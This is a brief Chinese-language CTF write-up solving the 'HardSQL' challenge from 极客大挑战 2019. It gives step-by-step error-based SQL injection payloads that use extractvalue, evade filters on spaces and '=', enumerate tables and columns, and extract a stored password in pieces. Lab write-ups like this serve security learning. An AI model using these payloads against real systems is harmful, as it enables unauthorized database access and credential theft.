26.[极客大挑战 2019]HardSQL
首先测试下存在注入


正常注入发现会过滤and 空格,但没过滤or。
可以结合报错注入来做
extractvalue(1,concat(07xe,执行语句))
updatexml(1,concat(07xe,执行语句),1)
首先爆出库为geek

爆名:测试时发现会检测=。-可以用like代替
admin'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))#

爆字段:
admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

查数据:
admin'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)))))#

发现没显示完全,这是因为extractvalue和updatexml只显示32围字符
使用right显示右边14位看看
admin'or(extractvalue(1,concat(0x7e,(select(right(password,14))from(H4rDsq1)))))#

拼接就行了。
网友评论